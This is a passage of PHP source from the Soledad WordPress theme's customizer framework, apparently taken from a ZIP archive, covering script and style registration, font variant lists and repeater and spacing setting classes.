                <li class='search-li' data-section='{{ control.section }}' data-control='{{ control.id }}'>
                    <span>{{ control.path }}</span>
                    <h3>{{ control.label }}</h3>
                    <em>{{ control.description }}</em>
                </li>
                <# } #>
            </ul>
        </script>
		<?php
	}

	/**
	 * Build widget template
	 */
	public function widget_template() {
		?>
        <script type="text/html" id="tmpl-widget-alert">
            <div class='customize-alert customize-alert-info'>
                <label>
                    <strong class='customize-control-title'>{{ data.title }}</strong>
                    <div class='description customize-control-description'>
                        <ul>
                            <# for ( word in data.words ) { #>
                            <li>{{ data.words[word] }}</li>
                            <# } #>
                        </ul>
                    </div>
                </label>
            </div>
        </script>
		<?php
	}

	public function move_settings( $wp_customize ) {
		// Remove Sections
		$wp_customize->remove_section( 'title_tagline' );
		$wp_customize->remove_section( 'nav' );
		$wp_customize->remove_section( 'static_front_page' );
		$wp_customize->remove_section( 'colors' );
		$wp_customize->remove_section( 'background_image' );
		$wp_customize->remove_section( 'custom_css' );
	}

	public function pencidesign_customizer_devices_preview_width() {
		/* We add a filter to help you can modify it by use a hook */
		$sizes = apply_filters( 'pencidesign_customize_preview_width', array(
			'tablet'        => 780,
			'mobile'        => 414,
			'mobile_height' => 736,
		) );
		?>
        <style>
            .wp-customizer .preview-tablet .wp-full-overlay-main {
                width: <?php echo absint( $sizes['tablet'] ); ?>px;
                margin-left: 0;
                margin-right: 0;
                left: 50%;
                -webkit-transform: translateX(-50%);
                transform: translateX(-50%);
            }
            .wp-customizer .preview-mobile .wp-full-overlay-main {
                width: <?php echo absint( $sizes['mobile'] ); ?>px;
                height: <?php echo absint( $sizes['mobile_height'] ); ?>px;
                margin-left: 0;
                margin-right: 0;
                left: 50%;
                -webkit-transform: translateX(-50%);
                transform: translateX(-50%);
            }
            .rtl.wp-customizer .preview-tablet .wp-full-overlay-main,
            .rtl.wp-customizer .preview-mobile .wp-full-overlay-main {
                -webkit-transform: translateX(50%);
                transform: translateX(50%);
            }
        </style>
		<?php
	}

	/**
	 * Register scripts for SoledadFW Customizer.
	 */
	public function register_scripts() {
		$wp_scripts = wp_scripts();

		$handle    = 'soledad-fw-extend-widget';
		$src       = PENCI_URL . '/assets/js/customizer/widget-extend.js';
		$deps      = array( 'jquery', 'customize-widgets' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'selectize';
		$src       = PENCI_URL . '/assets/js/vendor/selectize.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'serialize-js';
		$src       = PENCI_URL . '/assets/js/vendor/serialize.js';
		$deps      = array();
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'wp-color-picker-alpha';
		$src       = PENCI_URL . '/assets/js/vendor/wp-color-picker-alpha.js';
		$deps      = array( 'wp-color-picker' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$wp_scripts->localize(
			'wp-color-picker-alpha',
			'wpColorPickerL10n',
			array(
				'clear'            => esc_html__( 'Clear', 'soledad' ),
				'clearAriaLabel'   => esc_html__( 'Clear color', 'soledad' ),
				'defaultString'    => esc_html__( 'Default', 'soledad' ),
				'defaultAriaLabel' => esc_html__( 'Select default color', 'soledad' ),
				'pick'             => esc_html__( 'Select color', 'soledad' ),
				'defaultLabel'     => esc_html__( 'Color value', 'soledad' ),
			)
		);

		$handle    = 'codemirror';
		$src       = PENCI_URL . '/assets/js/vendor/codemirror/lib/codemirror.js';
		$deps      = array( 'jquery', 'jquery-ui-core', 'jquery-ui-button' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-validate-css';
		$src       = PENCI_URL . '/assets/js/customizer/validate-css-value.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-active-callback';
		$src       = PENCI_URL . '/assets/js/customizer/active-callback.js';
		$deps      = array( 'underscore' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-search-customizer';
		$src       = PENCI_URL . '/assets/js/customizer/search-control.js';
		$deps      = array( 'jquery', 'underscore' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-customizer-late-init';
		$src       = PENCI_URL . '/assets/js/customizer/late-init-customizer.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'ion-range-slider';
		$src       = PENCI_URL . '/assets/js/vendor/ion.rangeSlider.min.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-set-setting-value';
		$src       = PENCI_URL . '/assets/js/customizer/set-setting-value.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		// ... Control
		$handle    = 'soledad-fw-default-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-default.js';
		$deps      = array( 'customize-controls', 'underscore' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-alert-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-alert.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-header-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-header.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-color-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-color.js';
		$deps      = array(
			'jquery',
			'customize-controls',
			'wp-color-picker-alpha',
			'soledad-fw-default-control',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-toggle-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-toggle.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-slider-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-slider.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-number-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-number.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'jquery-ui-spinner' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-select-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-select.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'selectize' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-ajax-select-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-ajax-select.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'selectize' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-range-slider-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-range-slider.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'ion-range-slider' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-radio-image-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-radio-image.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-radio-buttonset-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-radio-buttonset.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-preset-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-preset.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'soledad-fw-set-setting-value' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-preset-image-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-preset-image.js';
		$deps      = array( 'jquery', 'soledad-fw-default-control', 'selectize' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-text-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-text.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-password-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-text.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-textarea-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-textarea.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-radio-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-radio.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-image-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-image.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-upload-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-upload.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-spacing-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-spacing.js';
		$deps      = array( 'soledad-fw-default-control', 'soledad-fw-validate-css' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-repeater-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-repeater.js';
		$deps      = array(
			'soledad-fw-default-control',
			'jquery-ui-sortable',
			'wp-color-picker',
			'selectize',
			'serialize-js',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-typography-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-typography.js';
		$deps      = array( 'soledad-fw-default-control', 'selectize', 'wp-color-picker-alpha' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-gradient-control';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-gradient.js';
		$deps      = array( 'soledad-fw-default-control', 'selectize', 'wp-color-picker-alpha' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-size';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-size.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-box-model';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-box-model.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-button';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-button.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-code';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-code.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-multi-check';
		$src       = PENCI_URL . '/assets/js/customizer-control/control-multi-check.js';
		$deps      = array( 'soledad-fw-default-control' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		// ... Section
		$handle    = 'soledad-fw-default-section';
		$src       = PENCI_URL . '/assets/js/customizer-section/default-section.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-link-section';
		$src       = PENCI_URL . '/assets/js/customizer-section/link-section.js';
		$deps      = array( 'jquery' );
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-lazy-section';
		$src       = PENCI_URL . '/assets/js/customizer-section/lazy-section.js';
		$deps      = array(
			'jquery',
			'underscore',
			'soledad-fw-default-section',
			'soledad-fw-alert-control',
			'soledad-fw-header-control',
			'soledad-fw-color-control',
			'soledad-fw-toggle-control',
			'soledad-fw-slider-control',
			'soledad-fw-number-control',
			'soledad-fw-select-control',
			'soledad-fw-ajax-select-control',
			'soledad-fw-range-slider-control',
			'soledad-fw-radio-image-control',
			'soledad-fw-radio-buttonset-control',
			'soledad-fw-preset-control',
			'soledad-fw-preset-image-control',
			'soledad-fw-text-control',
			'soledad-fw-textarea-control',
			'soledad-fw-radio-control',
			'soledad-fw-image-control',
			'soledad-fw-upload-control',
			'soledad-fw-spacing-control',
			'soledad-fw-repeater-control',
			'soledad-fw-typography-control',
			'soledad-fw-gradient-control',
			'soledad-fw-size',
			'soledad-fw-box-model',
			'soledad-fw-button',
			'soledad-fw-code',
			'soledad-fw-multi-check'
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		// ... Connect To Previewer
		$handle    = 'soledad-fw-previewer-sync';
		$src       = PENCI_URL . '/assets/js/customizer/previewer-sync.js';
		$deps      = array(
			'underscore',
			'customize-controls',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );
	}

	/**
	 * Load css on Customizer Panel
	 */
	public function customizer_styles() {
		wp_enqueue_style( 'selectize', PENCI_URL . '/assets/css/selectize.default.css', null, $this->version );
		wp_enqueue_style( 'soledad-fw-customizer-css', PENCI_URL . '/assets/css/customizer.css', array( 'wp-color-picker' ), $this->version );
		wp_enqueue_style( 'codemirror', PENCI_URL . '/assets/js/vendor/codemirror/lib/codemirror.css', null, $this->version );
		wp_enqueue_style( 'font-awesome', PENCI_URL . '/assets/font/font-awesome/font-awesome.css', null, $this->version );

		wp_enqueue_style( 'ion-range-slider', PENCI_URL . '/assets/css/ion.rangeSlider.css', null, $this->version );
		wp_enqueue_style( 'ion-range-slider-skin', PENCI_URL . '/assets/css/ion.rangeSlider.skinFlat.css', null, $this->version );

		if ( is_rtl() ) {
			wp_enqueue_style( 'soledad-fw-customizer-css-rtl', PENCI_URL . '/assets/css/customizer-rtl.css', null, $this->version );
		}
	}

	public function load_all_font( $load_google = true ) {
		$standard_fonts = penci_font_browser();
		$all_variants   = array(
			'100'       => esc_attr__( 'Ultra-Light 100', 'soledad' ),
			'100italic' => esc_attr__( 'Ultra-Light 100 Italic', 'soledad' ),
			'200'       => esc_attr__( 'Light 200', 'soledad' ),
			'200italic' => esc_attr__( 'Light 200 Italic', 'soledad' ),
			'300'       => esc_attr__( 'Book 300', 'soledad' ),
			'300italic' => esc_attr__( 'Book 300 Italic', 'soledad' ),
			'regular'   => esc_attr__( 'Normal 400', 'soledad' ),
			'italic'    => esc_attr__( 'Normal 400 Italic', 'soledad' ),
			'500'       => esc_attr__( 'Medium 500', 'soledad' ),
			'500italic' => esc_attr__( 'Medium 500 Italic', 'soledad' ),
			'600'       => esc_attr__( 'Semi-Bold 600', 'soledad' ),
			'600italic' => esc_attr__( 'Semi-Bold 600 Italic', 'soledad' ),
			'700'       => esc_attr__( 'Bold 700', 'soledad' ),
			'700italic' => esc_attr__( 'Bold 700 Italic', 'soledad' ),
			'800'       => esc_attr__( 'Extra-Bold 800', 'soledad' ),
			'800italic' => esc_attr__( 'Extra-Bold 800 Italic', 'soledad' ),
			'900'       => esc_attr__( 'Ultra-Bold 900', 'soledad' ),
			'900italic' => esc_attr__( 'Ultra-Bold 900 Italic', 'soledad' ),
		);

		$standard_fonts_final = array();
		foreach ( $standard_fonts as $key => $value ) {
			$standard_fonts_final[] = array(
				'family'      => $key,
				'label'       => $value,
				'subsets'     => array(),
				'is_standard' => true,
				'variants'    => array(
					array(
						'id'    => 'regular',
						'label' => $all_variants['regular'],
					),
					array(
						'id'    => 'italic',
						'label' => $all_variants['italic'],
					),
					array(
						'id'    => '700',
						'label' => $all_variants['700'],
					),
					array(
						'id'    => '700italic',
						'label' => $all_variants['700italic'],
					),
				),
				'type'        => 'native',
			);
		}
		/* Load google only for font options in customizer and not load google fonts for local variabel in style output preview js */
		if ( $load_google ) {
			$google_fonts       = penci_list_google_fonts_array();
			$all_subsets        = array(
				'cyrillic'     => esc_attr__( 'Cyrillic', 'soledad' ),
				'cyrillic-ext' => esc_attr__( 'Cyrillic Extended', 'soledad' ),
				'devanagari'   => esc_attr__( 'Devanagari', 'soledad' ),
				'greek'        => esc_attr__( 'Greek', 'soledad' ),
				'greek-ext'    => esc_attr__( 'Greek Extended', 'soledad' ),
				'khmer'        => esc_attr__( 'Khmer', 'soledad' ),
				'latin-ext'    => esc_attr__( 'Latin Extended', 'soledad' ),
				'vietnamese'   => esc_attr__( 'Vietnamese', 'soledad' ),
				'hebrew'       => esc_attr__( 'Hebrew', 'soledad' ),
				'arabic'       => esc_attr__( 'Arabic', 'soledad' ),
				'bengali'      => esc_attr__( 'Bengali', 'soledad' ),
				'gujarati'     => esc_attr__( 'Gujarati', 'soledad' ),
				'tamil'        => esc_attr__( 'Tamil', 'soledad' ),
				'telugu'       => esc_attr__( 'Telugu', 'soledad' ),
				'thai'         => esc_attr__( 'Thai', 'soledad' ),
			);
			$google_fonts_final = array();
			foreach ( $google_fonts as $args => $family ) {
				$font_data = explode( ', ', $args );
				$label    = $family;
				$variants = ( isset( $font_data[1] ) ) ? explode( ':', $font_data[1] ) : array( 'regular', '700' );
				$subsets  = ( isset( $args['subsets'] ) ) ? $args['subsets'] : array();

				$available_variants = array();
				foreach ( $variants as $variant ) {
					if ( array_key_exists( $variant, $all_variants ) ) {
						$available_variants[] = array(
							'id'    => $variant,
							'label' => $all_variants[ $variant ],
						);
					}
				}

				$available_subsets = array();
				foreach ( $subsets as $subset ) {
					if ( array_key_exists( $subset, $all_subsets ) ) {
						$available_subsets[] = array(
							'id'    => $subset,
							'label' => $all_subsets[ $subset ],
						);
					}
				}

				$google_fonts_final[] = array(
					'family'   => $family,
					'label'    => $label,
					'variants' => $available_variants,
					'subsets'  => $available_subsets,
				);
			}
			return apply_filters( 'soledad_font_typography', array_merge( $standard_fonts_final, $google_fonts_final ) );

		}
		return apply_filters( 'soledad_font_typography', $standard_fonts_final );
	}

	/**
	 * Load script on Customizer Panel
	 */
	public function enqueue_control_script() {
		wp_enqueue_script( 'soledad-fw-customizer-late-init' );
		wp_enqueue_script( 'soledad-fw-active-callback' );
		wp_enqueue_script( 'soledad-fw-previewer-sync' );
		wp_enqueue_script( 'soledad-fw-lazy-section' );
		wp_enqueue_script( 'soledad-fw-link-section' );

		if ( ! isset( $_REQUEST['layout_id'] ) ) {
			wp_enqueue_script( 'soledad-fw-search-customizer' );
		}

		wp_localize_script(
			'soledad-fw-typography-control',
			'soledadAllFonts',
			$this->load_all_font( true )
		);

		wp_enqueue_script( 'soledad-fw-extend-widget' );

		wp_localize_script( 'soledad-fw-lazy-section', 'lazySetting', array(
			'ajaxUrl' => add_query_arg( array( $this->endpoint => 'soledad' ), esc_url( home_url( '/', 'relative' ) ) ),
			'nonce'   => wp_create_nonce( $this->endpoint ),
		) );

		wp_localize_script( 'soledad-fw-search-customizer', 'searchSetting', array(
			'ajaxUrl' 		=> add_query_arg( array( $this->endpoint => 'soledad' ), esc_url( home_url( '/', 'relative' ) ) ),
			'nonce'   		=> wp_create_nonce( $this->endpoint ),
			'noResult'   	=> __( '<p>No results found.</p><p>Please try again with a different keyword.</p><div class="pccsz-help-buttons"><a target="_blank" href="https://soledad.pencidesign.net/soledad-document/">View Theme Document</a><a target="_blank" href="https://pencidesign.ticksy.com/">Support Forum</a></div>', 'soledad' ),
		) );

		wp_localize_script( 'soledad-fw-previewer-sync', 'partialSetting', array(
			'patternTemplate' => Lazy_Partial::js_pattern_template(),
		) );

		wp_localize_script( 'soledad-fw-extend-widget', 'widgetLang', array(
			'title' => esc_html__( 'Notice', 'soledad' ),
			'words' => array(
				esc_html__( 'To improve customizer load speed, we disable widget option on customizer for element.', 'soledad' ),
				esc_html__( 'You can still modify widget content from Widget Panel on Admin Page', 'soledad' ),
			),
		) );
	}

	/**
	 * Load script at Customizer Preview
	 */
	public function previewer_script() {
		$wp_scripts = wp_scripts();

		// ... Customizer Preview Script
		$handle    = 'soledad-fw-customizer-preview';
		$src       = PENCI_URL . '/assets/js/customizer/customizer-preview.js';
		$deps      = array(
			'underscore',
			'customize-preview',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'soledad-fw-customizer-partial-preview';
		$src       = PENCI_URL . '/assets/js/customizer/partial-refresh-preview.js';
		$deps      = array(
			'jquery',
			'underscore',
			'customize-preview',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		$handle    = 'vex';
		$src       = PENCI_URL . '/assets/js/customizer/vex.combined.min.js';
		$deps      = array(
			'jquery',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );


		$handle    = 'soledad-fw-customizer-redirect-tag-preview';
		$src       = PENCI_URL . '/assets/js/customizer/redirect-tag-preview.js';
		$deps      = array(
			'vex',
			'jquery',
			'underscore',
			'customize-preview',
		);
		$in_footer = 1;
		$wp_scripts->add( $handle, $src, $deps, $this->version, $in_footer );

		// enqueue script.
		wp_enqueue_script( 'soledad-fw-customizer-preview' );
		wp_enqueue_script( 'soledad-fw-customizer-partial-preview' );

		// ... Load style
		wp_enqueue_style( 'vex', PENCI_URL . '/assets/css/vex.css', null, $this->version );
		wp_enqueue_style( 'theme-customizer', PENCI_URL . '/assets/css/theme-customizer.css', null, $this->version );
	}
}
PK     0w\zA*  *  B  customizer/framework/customizer/setting/class-repeater-setting.phpnu [        <?php
/**
 * Customizer Setting: Repeater Setting
 *
 * @copyright   Copyright (c) 2017, Aristeides Stathopoulos
 * @license     https://opensource.org/licenses/MIT
 * @author      Aristath
 * @author      SoledadFWtheme
 */

namespace SoledadFW\Customizer\Setting;

/**
 * Repeater Settings.
 */
class Repeater_Setting extends Default_Setting {

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @access public
	 *
	 * @param \WP_Customize_Manager $manager The WordPress WP_Customize_Manager object.
	 * @param string                $id A specific ID of the setting. Can be a theme mod or option name.
	 * @param array                 $args Setting arguments.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );

		// Will onvert the setting from JSON to array. Must be triggered very soon.
		add_filter( "customize_sanitize_{$this->id}", array( $this, 'sanitize_repeater_setting' ), 10, 1 );
		add_filter( "customize_value_{$this->id}", array( $this, 'sanitize_repeater_setting' ), 10, 1 );
	}

	/**
	 * Fetch the value of the setting.
	 *
	 * @access public
	 * @return mixed The value.
	 */
	public function value() {
		$value = parent::value();
		$value = $this->sanitize_repeater_setting( $value );

		if ( ! is_array( $value ) ) {
			$value = array();
		}

		return $value;
	}

	/**
	 * Convert the JSON encoded setting coming from Customizer to an Array.
	 *
	 * @param string $value URL Encoded JSON Value.
	 *
	 * @return array
	 */
	public function sanitize_repeater_setting( $value ) {

		if ( ! is_array( $value ) ) {
			$value = json_decode( urldecode( $value ) );
		}
		$sanitized = ( empty( $value ) || ! is_array( $value ) ) ? array() : $value;

		// Make sure that every row is an array, not an object.
		foreach ( $sanitized as $key => $_value ) {
			if ( empty( $_value ) ) {
				unset( $sanitized[ $key ] );
			} else {
				$sanitized[ $key ] = (array) $_value;
			}
		}

		// Reindex array.
		$sanitized = array_values( $sanitized );

		return $sanitized;

	}
}
PK     0w\Rc	  	  A  customizer/framework/customizer/setting/class-default-setting.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */

namespace SoledadFW\Customizer\Setting;

/**
 * Default Settings
 */
class Default_Setting extends \WP_Customize_Setting {
	/**
	 * setting(section)(id)
	 * @var string pattern
	 */
	public static $lazy_pattern = '/^setting\((?P<section>[^\)]+)\)\((?P<id>[^\)]+)\)$/';

	/**
	 * Pattern for javascript
	 * @var string
	 */
	public static $lazy_js_pattern = 'setting\(([^)]+)\)\(([^)]+)\)';

	/**
	 * Create setting base on setting pattern
	 *
	 * @param $section
	 * @param $id
	 *
	 * @return string
	 */
	public static function create_lazy_setting( $section, $id ) {
		return "setting({$section})({$id})";
	}

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 3.4.0
	 *
	 * @param \WP_Customize_Manager $manager
	 * @param string                $id An specific ID of the setting. Can be a
	 *                                      theme mod or option name.
	 *
	 * @param array $args Setting arguments.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		$keys = array_keys( get_object_vars( $this ) );
		foreach ( $keys as $key ) {
			if ( isset( $args[ $key ] ) ) {
				$this->$key = $args[ $key ];
			}
		}

		$this->manager = $manager;
		$this->id      = $id;

		// Parse the ID for array keys.
		if ( preg_match( self::$lazy_pattern, $this->id, $matches ) ) {
			$id = $matches['id'];
		}

		$this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $id ) );
		$this->id_data['base'] = array_shift( $this->id_data['keys'] );

		if ( $this->validate_callback ) {
			add_filter( "customize_validate_{$this->id}", $this->validate_callback, 10, 3 );
		}
		if ( $this->sanitize_callback ) {
			add_filter( "customize_sanitize_{$this->id}", $this->sanitize_callback, 10, 2 );
		}
		if ( $this->sanitize_js_callback ) {
			add_filter( "customize_sanitize_js_{$this->id}", $this->sanitize_js_callback, 10, 2 );
		}

		if ( 'option' === $this->type || 'theme_mod' === $this->type ) {
			// Other setting types can opt-in to aggregate multidimensional explicitly.
			$this->aggregate_multidimensional();

			// Allow option settings to indicate whether they should be autoloaded.
			if ( 'option' === $this->type && isset( $args['autoload'] ) ) {
				self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload'] = $args['autoload'];
			}
		}
	}
}
PK     0w\ڶTW  W  A  customizer/framework/customizer/setting/class-spacing-setting.phpnu [        <?php
/**
 * Customizer Setting: Spacing Setting
 *
 * @copyright   Copyright (c) 2017, Aristeides Stathopoulos
 * @license     https://opensource.org/licenses/MIT
 * @author      Aristath
 * @author      SoledadFWtheme
 */

namespace SoledadFW\Customizer\Setting;

/**
 * Repeater Settings.
 */
class Spacing_Setting extends Default_Setting {

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @access public
	 *
	 * @param \WP_Customize_Manager $manager The WordPress WP_Customize_Manager object.
	 * @param string                $id A specific ID of the setting. Can be a theme mod or option name.
	 * @param array                 $args Setting arguments.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );

		// Will onvert the setting from JSON to array. Must be triggered very soon.
		add_filter( "customize_sanitize_{$this->id}", array( $this, 'sanitize_spacing_setting' ), 10, 1 );
	}

	/**
	 * Fetch the value of the setting.
	 *
	 * @access public
	 * @return mixed The value.
	 */
	public function value() {
		$value = parent::value();
		$value = $this->sanitize_spacing_setting( $value );

		if ( ! is_array( $value ) ) {
			$value = array();
		}

		return $value;
	}

	/**
	 * Convert the JSON encoded setting coming from Customizer to an Array.
	 *
	 * @access public
	 *
	 * @param string $value URL Encoded JSON Value.
	 *
	 * @return array
	 */
	public function sanitize_spacing_setting( $value ) {
		if ( ! is_array( $value ) ) {
			$value = json_decode( $value, true );
		}

		return $value;
	}
}
PK     0w\9um  m  9  customizer/framework/customizer/class-active-callback.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */

namespace SoledadFW\Customizer;

use SoledadFW\Util\Setting;

class Active_Callback {

	/**
	 * @var Active_Callback
	 */
	private static $instance;

	/**
	 * @var bool
	 */
	private $active_flag = true;

	/**
	 * @var Customizer
	 */
	private $customizer;

	/**
	 * @return Active_Callback
	 */
	public static function get_instance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	/**
	 * Get Customizer Instance
	 *
	 * @return Customizer
	 */
	public function get_customizer() {
		if ( null === $this->customizer ) {
			$this->customizer = Customizer::get_instance();
		}

		return $this->customizer;
	}

	/**
	 * @param $option
	 *
	 * @return mixed|void
	 */
	public function get_option( $option ) {
		$data = explode( '[', rtrim( $option, ']' ) );

		if ( 1 === count( $data ) ) {
			return get_option( $option );
		} else {
			$option = get_option( $data[0] );

			return $option[ $data[1] ];
		}
	}

	/**
	 * Figure out whether the current object should be displayed or not.
	 *
	 * @param array
	 *
